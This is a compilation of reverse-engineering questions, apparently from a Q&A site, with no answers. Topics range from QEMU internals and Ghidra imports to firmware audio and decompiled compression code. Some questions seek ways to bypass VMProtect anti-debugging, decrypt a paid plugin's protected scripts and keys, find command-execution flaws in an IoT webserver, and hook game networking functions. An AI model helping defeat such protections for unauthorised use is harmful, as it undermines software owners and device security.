问:
QEMU Translation block
I'm studying how QEMU translates native basic blocks and runs them. As far as I understand, it reads native basic blocks then retranslates them, but I wonder how it can deal with exceptions inside, so I run the following program:

```<code>// pgfault.c
int main() {
    __asm__(
        "xor rax, rax\n\t"
        "mov rbx, [rax]\n\t"
        "xor rcx, rbx\n\t"
        "add rax, rcx\n\t"
        );
}

// compile
x86_64-w64-mingw32-gcc pgfault.c -masm=intel -o pgfault.exe

// and run in PANDA/QEMU
</code>```

Indeed, I get the trace:

```<code>// first translation block
0x401510           xor rax, rax    ; first instruction of main
; second instruction generates a page fault

// second translation block (KiPageFault in ntoskrnl.exe)
0xfffff80026e4600  push rbx
0xfffff80026e4601  sub rbp, 0x158
</code>```

The second instructions generates a page fault, then the translation block contains only the first instruction. How can QEMU/PANDA knows that ahead of time (i.e. at translation step)?

Title: QEMU Translation block


问:
What is the header 'X-Goog-Spatula'?
I am blackboxing an android app to write an API for it. Many of the HTTP requests sent include a mysterious header with the name X-Goog-Spatula. If I do not include this structure, the request is not successful due to 'being unauthenticated', however I can find no information on the internet as to what it is or what it does, and I feel uncomfortable about adding the existing values I've recorded so far to the public client API, because I do not want to ship an API that could either expire in the future, or accidentally expose secrets that I shouldn't. Likewise for the same reason I won't be including actual data here (Unless anyone here can provide good arguments as to why it should be included).

Inspection of the structure so far as concluded that it is a base64-encoded protobuf structure, which contains several mystery values, that are as-yet unknown. An outline of the structure is:

```<code>{
  "string": {
    <name of app>,
    <20 byte base64-encoded string>
  },
  "string": {
    <32 byte string>,
  },
  "variant": <9 byte number>,
  "variant": <9 byte number>,
  "string": {
    <89 byte string>
  }
}
</code>```

As I stated earlier, I can find no references on the internet to it, aside from these (all on Github):

This reference to it in google client code in Go.

A reference in the Request headers section of people's logged HTTP interactions.

Does anyone have any documentation on this, an idea of what it is, or alternatively, what can I do to find out what it is?

ContentLicense: CC BY-SA 4.0

Title: What is the header 'X-Goog-Spatula'?


问:
Approaches to detect (compressed) audio in firmware
Edit: The audio data is on a separate IC

There are a few seconds of audio in a toy<s>'s 128 kB firmware</s> - somewhere...

Here is a downsampled look at the bits (white = 1):

My beginner's attempts to analyse the disassembly in order to find the audio data blocks have not been successful so far. There appear to be sections that are visually different, although it's not something very obvious. Trying the different raw audio import options in Audacity only results in "noise".

I am assuming a (simple?) compression scheme is in use, so maybe RLE, DPCM or even ADPCM.

My guess is that the areas that do not show the byte boundary (LSB/MSB set = white) as clearly (=higher bit frequency?) are worth a closer look.

I am going to try to gather information about the audio resolution and rate by analysing the audio output, to help get an estimate of what I am looking for.

A few ideas on how to proceed:

Finding data (as opposed to code) from program analysis:

use analysers showing data sections (= no instructions, not reached in program flow) - which? what limitations apply?

find const data (not copied to RAM at initialisation)

Finding audio data directly by:

properties of audio data (AC signal)

compare with samples of data patterns in simple audio compression

Working with a debugger:

it might be possible to set a data change / register write breakpoint for the peripheral that is likely to generate the audio output (Timer/PWM/DAC/DMA) and work backwards from there

But all of these require a lot of legwork and more background knowledge than I currently have, so the outlook is rather limited..

What other approaches to finding data in firmware should I consider?


问:
Pe file Vmp0 vmp1 section,
I have a PE file with section vmp0 vmp1, possible protected with VMProtect.  I am using local debugger in IDA pro, the program will detect the debugger and pop-up an message box and quit , I used the break point on user32.MessageBoxW, the debugger will break, but I have hard time to find out which part of the disassembly code calling the function , would you please help me so that I can bypass what ever the program is checking.? I am struggling for a while. </p>

Title: Pe file Vmp0 vmp1 section,


问:
Locating Exit/Abort Functions from Static Analysis
Similar to this question, I'm interested in locating exit and abort style functions in a firmware - any function call that in fact terminates the execution, by statically analyzing the firmware.

My firmware is arm-cortex-M based.

Any ideas how can I find it?


问:
How can I have a breakpoint once a value changes in DnSpy?
I am trying to track a certain value in a game to analyze the cause of a crash (basically, it goes to null at one point and I would like to know what exactly puts that to null as it causes issues later on). I am relatively a beginner in C# reversing as well as using DnSpy, but I couldn't find an exact way to do so leading me to believe either the feature isn't possible or if it is, I am unaware of it.

My goal is to be informed of where exactly it puts it to null with preferably a stacktrace. The best I was able to do was to breakpoint a bunch and hope for the best, but I quickly realised this is very inefficient and there has to be a better way to do this.

If it isn't possible in DnSpy itself, can I use other tools to accomplish the same thing?

If it helps, it's a Unity game which I replaced its mono dll so the DnSpy debugger works, but it can only put breakpoints in the code, not break whenever something changes at all. I can see the value in the watcher, but that's not enough.


问:
Key Algorithm Reverse
I am trying to reverse a Seed/Key algorithm. i have some sample and knowledge about it, for example i know this algorithm work with only "xor" and "shift" operations.
some sample shown in below:
<code>
     seed            key
  ---------       ----------
 0x01010101       0xDFBB4565
 0x02020202       0x21028781
 0x02010101       0xB1C7ED2B
 0x08010101       0xFB9718DE
</code>
is this enough for reverse this algorithm?
according to the this Question i know this algorithm will be must like each other but i dont know what is difference between them.
how i can reverse this algorithm and how i can reverse anything like this? </p>

Title: Key Algorithm Reverse


问:
Add indirect branch target reference manually (xref, crossreference) in Cutter (radare2)?
How can I create a reference for an indirect branch instruction

```<code>blx r0
</code>```

so that the call to the address stored in r0 shows up in the graph?

I've tried flagging the target (function), but that does not get picked up automatically.
Do I need to re-start analysis for the function somehow (how?)?


问:
JEB Decompiler - Signature recognition engine
I've been playing around with the JEB decompiler and Android reverse engineering suite. One interesting feature they have is deobfuscation by library code matching in which 3rd party libraries out there (written in Java) which have been obfuscated are recognized and matched with the original library names.

However, the plugin allows custom parameters to fine tune the accuracy of detection
. I still cant wrap my head around and understand how the option and parameters work? Could any Java language experts explain and give examples? Im using JEB 3.7


问:
Is there a way to identify compression algorithm used in exe file?
I'm trying to find a compression method used in executable file. I tried decompiling it with IDA Pro found a pseudocode of decompression but couldn't compile and use it in my program.

Here's pseudocode:

char __cdecl decompress(char *buffer, int a2 /* a2 argument is always 0x989680 */)
{
  unsigned __int8 v2; // al
  unsigned __int8 v3; // al
  unsigned __int8 v4; // al
  unsigned __int8 v5; // al
  FILE *v6; // eax
  char *v7; // esi
  int v8; // edi
  char v9; // al
  char v10; // bl
  int v11; // ebx
  int v12; // ebx
  int v13; // ebx
  int v14; // ebx
  char v16; // [esp+12h] [ebp-Ah]
  char v17; // [esp+13h] [ebp-9h]
  int v18; // [esp+14h] [ebp-8h]
  int v19; // [esp+14h] [ebp-8h]
  int v20; // [esp+14h] [ebp-8h]
  int v21; // [esp+14h] [ebp-8h]
  int v22; // [esp+14h] [ebp-8h]
  int v23; // [esp+18h] [ebp-4h]

  --tempFile->_cnt;
  v23 = 0;
  if ( tempFile->_cnt < 0 )
    v2 = _filbuf(tempFile);
  else
    v2 = *tempFile->_ptr++;
  --tempFile->_cnt;
  v18 = v2 << 24;
  if ( tempFile->_cnt < 0 )
    v3 = _filbuf(tempFile);
  else
    v3 = *tempFile->_ptr++;
  --tempFile->_cnt;
  v19 = (v3 << 16) + v18;
  if ( tempFile->_cnt < 0 )
    v4 = _filbuf(tempFile);
  else
    v4 = *tempFile->_ptr++;
  --tempFile->_cnt;
  v20 = (v4 << 8) + v19;
  if ( tempFile->_cnt < 0 )
    v5 = _filbuf(tempFile);
  else
    v5 = *tempFile->_ptr++;
  v21 = v5 + v20;
  if ( --tempFile->_cnt < 0 )
    v17 = _filbuf(tempFile);
  else
    v17 = *tempFile->_ptr++;
  --tempFile->_cnt;
  LOBYTE(v6) = (_BYTE)tempFile;
  if ( tempFile->_cnt < 0 )
  {
    LOBYTE(v6) = _filbuf(tempFile);
    v16 = (char)v6;
  }
  else
  {
    v16 = *tempFile->_ptr++;
  }
  v22 = v21 - 10;
  if ( v22 <= 0 )
    return (char)v6;
  v7 = buffer;
  v8 = a2; // a2 used here
  while ( 1 )
  {
    if ( !(v23 % 2000) )
      sub_48F780(); // ignore this line
    ++v23;
    if ( --tempFile->_cnt < 0 )
      v9 = _filbuf(tempFile);
    else
      v9 = *tempFile->_ptr++;
    --v22;
    v10 = v9;
    v6 = (FILE *)(v9 & 0xC0);
    if ( v6 == (FILE *)192 )
    {
      v11 = v10 & 0x3F;
      if ( v11 >= 0 )
      {
        while ( 1 )
        {
          if ( --tempFile->_cnt < 0 )
          {
            LOBYTE(v6) = _filbuf(tempFile);
            *v7 = (char)v6;
          }
          else
          {
            *v7 = *tempFile->_ptr;
            v6 = tempFile;
            ++v6->_ptr;
          }
          ++v7;
          if ( !--v8 )
            return (char)v6;
          --v22;
          if ( --v11 < 0 )
            goto LABEL_50;
        }
      }
      goto LABEL_50;
    }
    if ( v6 == (FILE *)128 )
    {
      v12 = v10 & 0x3F;
      if ( v12 >= 0 )
      {
        while ( 1 )
        {
          LOBYTE(v6) = v16;
          ++v7;
          --v8;
          *(v7 - 1) = v16;
          if ( !v8 )
            return (char)v6;
          if ( --v12 < 0 )
            goto LABEL_50;
        }
      }
      goto LABEL_50;
    }
    if ( v6 != (FILE *)64 )
      break;
    v13 = v10 & 0x3F;
    if ( v13 >= 0 )
    {
      do
      {
        LOBYTE(v6) = v17;
        ++v7;
        --v8;
        *(v7 - 1) = v17;
        if ( !v8 )
          return (char)v6;
      }
      while ( --v13 >= 0 );
    }
LABEL_50:
    if ( v22 <= 0 )
      return (char)v6;
  }
  v14 = v10 & 0x3F;
  if ( --tempFile->_cnt < 0 )
    LOBYTE(v6) = _filbuf(tempFile);
  else
    LOBYTE(v6) = *tempFile->_ptr++;
  --v22;
  if ( v14 < 0 )
    goto LABEL_50;
  while ( 1 )
  {
    *v7++ = (char)v6;
    if ( !--v8 )
      return (char)v6;
    if ( --v14 < 0 )
      goto LABEL_50;
  }
}
```
<p>Also I tried signsrch, but it didn't really help. It says:</p>
```0055ad05 3051 compression algorithm seen in the game DreamKiller [32.be.12&]
0055ad08 3050 compression algorithm seen in the game DreamKiller [32.le.12&]
```

Is there a way to compile this pseudocode and use it in my program?

Maybe there's a tool that can determine algorithm by comparing input and output streams?


问:
Possible to inject a new menu into a program's menu bar?
Is it be possible to inject a new menu/menu item into a program's menu bar?

As an example, in Notepad's (Windows) "Help" menu, would it be possible to add a new entry to that menu like "Open calculator" which runs calc.exe when clicked? How would one accomplish something like this?


问:
Exporting/Importing all function info from one ghidra program to another
I'm looking for a way to export all infos about a function (Call signature including custom storage, local symbols, etc) in a ghidra program and import them into another ghidra program, but at a different address, and to do that automatically for 30-50 functions.

This is within the context of a very large game executable, enough so that any form of full analysis is way too cumbersome for my needs, and each game patch shuffles most of the addresses. I already have most of that automated, but through manually defining serialiazation code for function elements like parameters, and was wondering if there was any better way.


问:
How to modify JS with mitmproxy?
I am trying to reverse engineer a heavily obfuscated web application, and I would like to modify the JS to add logging. So far, I've set up mitmproxy, but I can't figure out what the best way to edit the JS files is. Ideally this would be done in a way where I can save the edits and have them automatically apply when I refresh the page.</p>

Title: How to modify JS with mitmproxy?


问:
Lua script decode method?
I have a game plugin that enables the lua script encryption.I tried to decode it but it seems used many useless encode method to let you cannot understand it.It seem like some enctypted lua script there,But they are something different.(Decrypting Lua Files)

The main file is win.xpl,a dll file.And i decode it with IDA and it seems to read the init .secured file first,and read main.key and serial.key(they all encrypted)
And it read acturl.dat to get activation link.Sadly,they all encrypted.All encrypted lua script is .secured and it's unreadable.

Some can tell me what encryption is used?Thanks!

Main program file:https://drive.google.com/open?id=1tUMcOPEFA0alc0lSHvT3YCKvR2llclJ2

And i found a vaild main.key file:https://drive.google.com/open?id=11unjtWBKqrbhlKKDXA6G3lmWemFaFbDx

And the init main file:https://drive.google.com/open?id=1OSpgGsiJsqe7H3YO1dXYBQFlaozXNDTB

Here maybe the acvation part:

v45 = -2i64;
  v2 = a2;
  v3 = a1;
  XPLMGetVersions(&v42, &v44, &v43);
  v81 = 15i64;
  v80 = 0i64;
  Dst = 0;
  v4 = "10";
  if ( v42 >= 11000 )
    v4 = "11";
  sub_1800845F0(&Dst, v4, 2ui64);
  v5 = sub_1800978F0();
  v6 = sub_180097E40(v5, &v46);
  sub_18008AD20((__int64)&Filename, v6, "/main.key");
  if ( v48 >= 0x10 )
  {
    v7 = (void *)v46;
    if ( v48 + 1 >= 0x1000 )
    {
      if ( v46 & 0x1F )
        invalid_parameter_noinfo_noreturn();
      v8 = *(_QWORD *)(v46 - 8);
      if ( v8 >= v46 )
        invalid_parameter_noinfo_noreturn();
      if ( v46 - v8 < 8 )
        invalid_parameter_noinfo_noreturn();
      if ( v46 - v8 > 0x27 )
        invalid_parameter_noinfo_noreturn();
      v7 = *(void **)(v46 - 8);
    }
    j_j__free_base(v7);
  }

I think the key is in the "v6"?

Title: Lua script decode method?


问:
How to retrieve generically memory reads of an input and determine all relevant offsets?
I would like to record all memory read operations that are performed by an application on a given input file, to help infer which specific parts of an input are relevant for the specific execution that opens the input.

I'm trying to achieve this for Windows applications, whereas the applications itself can be x86 or x64, and the input is not of a specific format (e.g. solution should not only work with JPG, but also PNG or XYZ). The solution is intended to work for applications without access to the source code (binaries only, no symbols).

An example

Input foo.bar:

Input file is 100 bytes long, binary format.

Program n:

Can be called like > Program.exe foo.bar, or through File > Open > foo.bar

Opens foo.bar and parses offsets x, y, and z and does something with it (e.g. convert to something else, output somewhere, do some arithmetic with it and return result, etc.). For input foo.bar2, the offsets that are worked with might be different.

Potential problems I can think of:

If the developer uses something like fseek (SetFilePointer?), they would go directly to the relevant offset within the input. However, in many cases it might be more likely to open the whole input/file and then go to offsets based on other specific values within that input by using something like offset_n+34.

There are multiple methods how an input file can be opened or accessed by an application (OpenFile, CreateFileA/W, MapViewOfFile, OpenFileMappingA, etc.)

Speed might be an issue if there are many read operations (however, in my case I don't care too much about performance).

As per my current understanding, what I could do as a start is to:

1) Research the specific Windows APIs for file opening/handling

2) Set a breakpoint on them and retrieve the parameters

3) From here on, how can I determine or map the specific offsets within an input and the program access on it?

Is there any script or tool that already does something like this, e.g. by relying on WinDbg or DBI frameworks like DynamoRIO or PIN?

If not, I'd really appreciate if someone can point me towards specific resources or key words that would help me in better understand how to approach this problem and come up with a pratical solution. Any help would be much appreciated.


问:
No false positive on binwalk
I have the same problem from my previous post but this time, I don't think it's the same culprit again as I have solved the problems.

This time, I'm very sure I had extracted the firmware. On my hexdump, here is what I got:

On binvis.io:

And lastly, binwalk:

From the entropy, it shows that it's compressed rather than encrypted, right?

I tried to ignore the false positive and decided to proceed disassembling with Ghidra. But I got tons of error (I think so) because there were red and orange indicator on the side scroll bar, in the code browser, like the one you would get in Android Studio if there's an error.

On other websites, I found out that getting an output from the false positive is a crucial part to extract/disassemble.

So what seems to be the problem? Do I have to install something like matplotlib for it to work? If there's anything you want me to add, please don't hesitate to let me know. Thanks in advance.

Oh, it's a firmware from a Smart Door Lock using a nRF51802 if it matters.

Title: No false positive on binwalk


问:
How to call strongly encrypted DLL from Resources?
There is a program. This program accepts plugins. Plugins written with C#. I have to encrypt it. But when I use strong obfuscators I have exception. Program doesn't read. How can I fix that ? How can I call strongly encrypted dll from an application. Just confuserex working but its not strong enough. </p>

```<code> private static void LoadDll(byte[] dll, string namespacePlusClass)
        {
            try
            {
                var a = Assembly.Load(dll);
                var myType = a.GetType(namespacePlusClass);
                var methon = myType.GetMethod("Main", BindingFlags.Public | BindingFlags.Static);

                if (methon != null)
                {
                    methon.Invoke(null, null);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
</code>```


问:
Detouring function cause exception access violation
i am learning to detouring functions, but i run into one that i cannot be resolved.

I use the Detour lib from microsoft, and a custom method.
Both cause the same problem, the function is hooked and returns to the original, but continuing the program crashes with error.

My code using Detours lib:

Function definition:

```<code>typedef int(__stdcall* itemPos) ( int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7);
itemPos originalItemPos;
int __stdcall hkItemPos(int param_1, float param_2, float param_3, float param_4, float param_5, float param_6, float param_7) {
    return originalItemPos(param_1, param_2, param_3, param_4, param_5, param_6, param_7);
}
</code>```

Initialice detours to hook:

```<code>DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DWORD offset = Scanner.FindPattern("program.exe", "\x55\x8B\xEC\x83\xE4", "xxxxx");
originalItemPos = (itemPos)offset;
DetourAttach(&(LPVOID&)originalItemPos, &hkItemPos);
if (DetourTransactionCommit() != NO_ERROR)
    printf("Detoured error in sub_CCD440\n");
</code>```

The function looks like this in IDA

The way it is called

Error image

I have code to hook the function without using a library, but the error i get is the same, so i guess something is being overlooked.
If necessary i will add it.

Thank you very much in advance.


问:
How do I use GnuDisassembler (gdis) in Ghidra?
I have managed to compile the GnuDisassembler Ghidra extension, but I only got a single executable, gdis. My questions:

Do I have to 'install' gdis in Ghidra, and if yes, how?

How do I use gdis from within Ghidra?

Is it possible to replace the built-in disassembler with gdis?

How do I 'enable' the additional CPU architectures provided by gdis (in my case ARC600)?


问:
For some reason Ghidra SRE cannot determine some imports
After loading the Windows PE executable into Ghidra SRE, some functions imported from MFC90U.DLL Ghidra does not detect:

```<code>                DAT_00aea270                   FUN_004ae180:004ae1ee,
                                               FUN_004b0f40:004b1b84,
                                               FUN_004bb2b0:004bb475,
                                               FUN_0067a2f0:0067a332, [more]
        00aea270 af            ??         AFh     XREF[892]:
        00aea271 09            ??         09h
        00aea272 00            ??         00h
        00aea273 80            ??         80h

</code>```

I exactly know that this is a function of CStringT :: Find. Similarly, the CStringT :: Replace function is undefined by Ghidra, too.

If I force the bytes at address 0x00AEA270 to be the type of pointer, then I hover the cursor over the DAT_800009af variable and Ghidra complains "Address: ram: 800009af, Address not in memory":

```<code>                PTR_DAT_00aea270               FUN_004ae180:004ae1ee,
                                               FUN_004b0f40:004b1b84,
                                               FUN_004bb2b0:004bb475,
                                               FUN_0067a2f0:0067a332, [more]
        00aea270 af 09 00 80   addr       DAT_800009af     XREF[892]:
                                               +----------------------+
                                               |Address: ram: 800009af|
                                               |Address not in memory |
                                               +----------------------+
</code>```

At the same time, other functions from the same MFC90U.DLL are detected correctly:

```<code>             **************************************************************
             *                POINTER to EXTERNAL FUNCTION                *
             **************************************************************
                 CStringT<wchar_t,class_StrTraitMFC_DLL<wchar_t,class_ATL
             CStringT<wchar    EAX:4          <RETURN>
             CStringT<wchar    ECX:4 (auto)   this
             CStringT<wchar    Stack[0x4]:4   param_1
                811  Ordinal_811  <<not bound>>
                PTR_operator=_00aea26c         FUN_004cdbe0:004ce2e5,
                                               FUN_00911be0:00914605, [more]
        00aea26c 2b 03 00 80   addr       MFC90U.DLL::ATL::CStringT<wchar_t,class_StrTra   XREF[4517]:

             **************************************************************
             *                POINTER to EXTERNAL FUNCTION                *
             **************************************************************
                 int __thiscall ShowWindow(CWnd * this, int param_1)
             int               EAX:4          <RETURN>
             CWnd *            ECX:4 (auto)   this
             int               Stack[0x4]:4   param_1
                 6604  Ordinal_6604  <<not bound>>
                 PTR_ShowWindow_00aea278                         ShowWindow:00947004
        00aea278 cc 19 00 80    addr       MFC90U.DLL::CWnd::ShowWindow                     XREF[1]:
</code>```

Moreover, the address of functions that Ghidra does not detect (0x800009af which is CStringT::Find and 0x80001723 which is CStringT::Replace) are located between the addresses 0x8000032b and 0x800019cc, i.e. between the addresses of those functions that Ghidra SRE detects. That is, these addresses cannot be "Address not in memory" by any means!

As a result, in the listing window:

```<code>    006c88a2 68 8c 98           PUSH       u_</HeaderData>_00b6988c
             b6 00
    006c88a7 8d 8d 34           LEA        ECX=>local_26d0,[EBP + 0xffffd934]
             d9 ff ff
                              -> DAT_800009af
    006c88ad ff 15 70           CALL       dword ptr [PTR_DAT_00aea270]
             a2 ae 00
    006c88b3 85 c0              TEST       EAX,EAX
    006c88b5 7c 13              JL         LAB_006c88ca
</code>```

and in the decompiler window:

```<code>    iVar4 = (*(code *)&DAT_800009af)(L"</HeaderData>",0);
    if (-1 < iVar4) {
</code>```

I only see unknown calls from indirect unknown addresses.

But IDA Pro correctly detects the same imports. Here is the import window with the same imports from IDA Pro:

```<code>.idata:00AEA26C ; public: class ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>> & __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::operator=(class ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>> const &)
.idata:00AEA26C                 extrn ??4?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEAAV01@ABV01@@Z:dword
.idata:00AEA26C                                         ; CODE XREF: sub_4016D0+15E↑p
.idata:00AEA26C                                         ; sub_402E30+30↑p ...
.idata:00AEA270 ; public: int __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::Find(wchar_t const *, int)const
.idata:00AEA270                 extrn ?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z:dword
.idata:00AEA270                                         ; CODE XREF: sub_401680+1A↑p
.idata:00AEA270                                         ; sub_403210+8B↑p ...
.idata:00AEA274 ; public: int __thiscall ATL::CStringT<wchar_t, class StrTraitMFC_DLL<wchar_t, class ATL::ChTraitsCRT<wchar_t>>>::Replace(wchar_t const *, wchar_t const *)
.idata:00AEA274                 extrn ?Replace@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QAEHPB_W0@Z:dword
.idata:00AEA274                                         ; CODE XREF: sub_4011C0+269↑p
.idata:00AEA274                                         ; sub_41A3F0+D7↑p ...
.idata:00AEA278 ; __declspec(dllimport) public: int __thiscall CWnd::ShowWindow(int)
.idata:00AEA278                 extrn __imp_?ShowWindow@CWnd@@QAEHH@Z:dword
.idata:00AEA278                                         ; DATA XREF: CWnd::ShowWindow(int)↑r
</code>```

Here is the IDA Pro listing window showing the same place inside the executable:

```<code>.text:006C88A2                 push    offset aHeaderdata ; "</HeaderData>"
.text:006C88A7                 lea     ecx, [ebp+var_26CC]
.text:006C88AD                 call    ds:?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z ; ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Find(wchar_t const *,int)
.text:006C88B3                 test    eax, eax
.text:006C88B5                 jl      short loc_6C88CA
</code>```

and the Hex-Rays decompiler window with the call to this function is also in the same place inside the executable:

```<code>    v18 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Find(&v39, L"</HeaderData>", 0);
    if ( v18 >= 0 )
    {
</code>```

However, I prefer the result of the Ghidra decompiler some more than the Hex-Rays decompiler does, and therefore I would like to use Ghidra at least for this particular executable file.

How could I achieve correct importing with Ghidra? What should I do to fix it? How could I tell Ghidra that these are normal imported functions located at normal addresses inside the executable process?

Yes, there is the description of both CStringT::Find and CStringT::Replace inside the file ~/ghidra_9.1.2_PUBLIC/Ghidra/Features/Base/data/symbols/win32/mfc90u.exports:

```<code>[...]

<EXPORT ORDINAL="2479" NAME="?Find@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@QBEHPB_WH@Z" PURGE="-1" COMMENT="" />

[...]
</code>```

So Ghidra SRE knows about of these functions are exist and how to correctly name them, but for some reason does not detect and define them properly as imported from MFC90U.DLL. Why?

I run Ghidra 9.1.2 public release Feb-12-2020 1149 EST and IDA Pro version 7.1.180227.


问:
problems with figuring out if its vmprotect or upx
my name is eleven and I'm new to reverse engineering and I have a question.

after scanning my program I have wanted to reverse engineer I have walked into a problem.

this is a program I'm trying to figure out if its vmprotect or upx.
after scanning with detect it easy it pops up with vmprotect yet after looking pestudio it came with upx seen in this screenshot.

any help on this?


问:
Reverse engineering hidden audio track in this MPEG-1 video file?
No matter what video player or video analysis software I throw this video at, neither are able to reproduce or detect the audio track of the video:

Introduction video of Wipeout XL PC version (OneDrive link), it should be downloaded as the online video player will fail miserably on it. It is playable on any media player that supports MPEG-1 videos such as VLC.

The file is 10926Kib, according to Windows, it's 1000kbps so, 1000 / 8 * 63 = 7875Kib which leaves us with about 3051Kib of hidden content:

To me, it just seems the audio is indeed here but has been obfuscated somehow for some reason.

I've also launched Process Monitor to study log of the game when it plays the video, it does access no other files at all in the game directory as well as in the CD-ROM of the game.

As a reference, introduction video of Wipeout XL PSX version on YouTube, with audio.

Question:

Are there any well-known techniques to obfuscate audio in MPEG videos ?


问:
How can I debug code execution on a Native->Unity/Mono/C# Application
I'm reverse engineering a Windows application which has a main executable that appears to run some boilerplate/stub code before calling UnityMain and also using Mono. This means that if I use an assembly debugger like x64Dbg, I get stuck in the boilerplate and runtime code. But, if I view the assemblies in dnSpy, it paints an incomplete picture and makes it difficult or impossible to debug the program because the assemblies I'm viewing in dnSpy are just "libraries" and the execution path is initiated from the native code stub which calls UnityMain. What are some strategies to debug code execution of this type of application?


问:
Understanding obscure function names
I have seen functions like this before in disassembly but don't have a clue what they are. Their names are extremely confusing. Would someone be able to explain what these are?

Title: Understanding obscure function names


问:
How to find the symbol table in a TI DSP. (TMS320C5510)
That's it, just want to know how to find the symbol table in a binary I pulled from a DSP chip.  I know it could be stripped, just don't know how to tell.  </p>

ContentLicense: CC BY-SA 3.0


问:
Python based static c analysis tools
I want to analyze some open-source C code, and I'm looking for a static analysis python library for C, preferably open-source. Any ideas/suggestions, based on your experience?

Title: Python based static c analysis tools


问:
Decompile in Radare for use in AVR studio, byte addressing vs word addressing
Hoping this has a simple answer...

I'm trying to use Radare2 to generate assembly code that later can be compiled in Avr studio 7. What I notice is that Radare (running pD) generates assembly code that is byte addressed whereas Avr Studio works with word addressing.
Is there any simple way of instructing Radare2 to handle addressing using words rather than bytes?
Many thanks in advance!

Regards,
  Staffan


问:
PowerPC executable doesn't show debugging symbols in Ghidra
I have a PowerPC executable (Wipeout 2097 for Macintosh) that when opened in IDA will have all its function names resolved from debugging symbols in the executable right out of the box.

In Ghidra however, it doesn't happen.

Do you know if there is anything particular to do in Ghidra to fetch function names from debugging symbols ?


问:
Find vulnerabilities in ARM IoT device
I have an ARM IoT device with a web interface, and I have the binary of this device open in Ida Pro.

I looking for vulnerabilities in the webserver binary that can be exploited to run commands or bypass authentication.

There is the manual way, looking for unsafe functions in the binary that are susceptible to buffer overflows, or looking in the webserver to find input that is passed to exec or other input that can download files from the system.

I know this is the manual and slow way.

Is there any tool or maybe Ida Pro plugin that helps to find a vulnerabilities in binaries/in web applications?

Title: Find vulnerabilities in ARM IoT device


问:
Reversing WSASend finding functions that called it
I'm trying to make my first DLL calling game functions

What I need is tracing functions that call WSASend, so it will be easy for me to get all functions address to call them from my DLL.

What I want is to call game functions, so if I can trace when WSASend is called, then return to the function that called it, I will be able to get all functions I need.

My final goal is getting all functions addressess like SendWalk, ChangeLookDir, Attack, Follow, MoveItem, DropItem, etc... all of them are calling WSASend

This is how the game module is calling the WSASend function:

This is what I get from logging calls to WSASend:

The problem is that the game is sending packets all time, so if I put a breakpoint in that call it will pause everytime and I won't be able to make anything in game.

After reading the WSASend documentation, I understand that maybe what I need is the buffer, so I can filter the parameter lpBuffers maybe setting a conditional breakpoint and hopefully the buffer will be the same in that packets that are sent every 1 sec (I'm not sure about what I'm saying)

I'm a beginner so if I can improve in any way this question let me know, maybe I'm missing any detail that would help you to help me :)


问:
Tracing back the user code section that triggered a message
I have a Windows GUI x86 executable and I have identified, in the .rsrc section, where the error string I want to trace is. Let's assume it is in id=83Ah.

I have set a bpx user32:LoadStringA and then a break condition breakif([esp+8] == 83A).

The BP fires correctly, when required. My problem now is how to identify which user code took the decision to load the string. For example, imagine this situation:

```<code>if(....) {
   displayError()  <-- This will call LoadString at some point
}
</code>```

I am able to break on the LoadString, but when I RET, I get to a function that is used in many other code sections (such as AfxMessageBox). And I RET again and it is also a function that is used by many other code sections (like a Windows dispatcher)... and so on and so forth until I get lost without knowing where the user code that triggered the message is. I avoid system DLLs, but the portions of user code I land in look very generic and shared by other GUI components.

This is for example the Call Stack of my program:

```<code>Address  To       From     Size     Comment            Party
0019EF84 0041FA5E 76AC8BA0 58       user32.76AC8BA0    User
0019EFDC 004037C1 0041FA5E 24       s3.sub_41FA42+1C   User
0019F000 0041EE3D 004037C1 30       s3.sub_4037B0+11   User
0019F030 0041DCE0 0041EE3D 24       s3.0041EE3D        User
0019F054 00421883 0041DCE0 50       s3.sub_41DCC5+1B   User
0019F0A4 004210A3 00421883 A8       s3.sub_421820+63   User
0019F14C 00421050 004210A3 24       s3.sub_421073+30   User
0019F170 0041FDB9 00421050 6C       s3.sub_42102A+26   User
0019F1DC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User
0019F1F8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System
0019F224 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
0019F308 76AD5F6D 76AD67BC 64       user32.76AD67BC    System
0019F36C 76AD5C33 76AD5F6D 34       user32.76AD5F6D    System
0019F3A0 76B008E2 76AD5C33 24       user32.76AD5C33    System
0019F3C4 76B005DF 76B008E2 28       user32.76B008E2    System
0019F3EC 76AFFAE8 76B005DF A0       user32.76B005DF    System
0019F48C 76AFEF92 76AFFAE8 2C       user32.76AFFAE8    System
0019F4B8 76AE5CAB 76AFEF92 2C       user32.76AFEF92    System
0019F4E4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
0019F5C8 76AC6C22 76AD67BC 38       user32.76AD67BC    System
0019F600 004209FA 76AC6C22 20       user32.76AC6C22    User
0019F620 00421065 004209FA 20       s3.sub_4209B6+44   User
0019F640 0041FDB9 00421065 6C       s3.sub_42102A+3B   User
0019F6AC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User
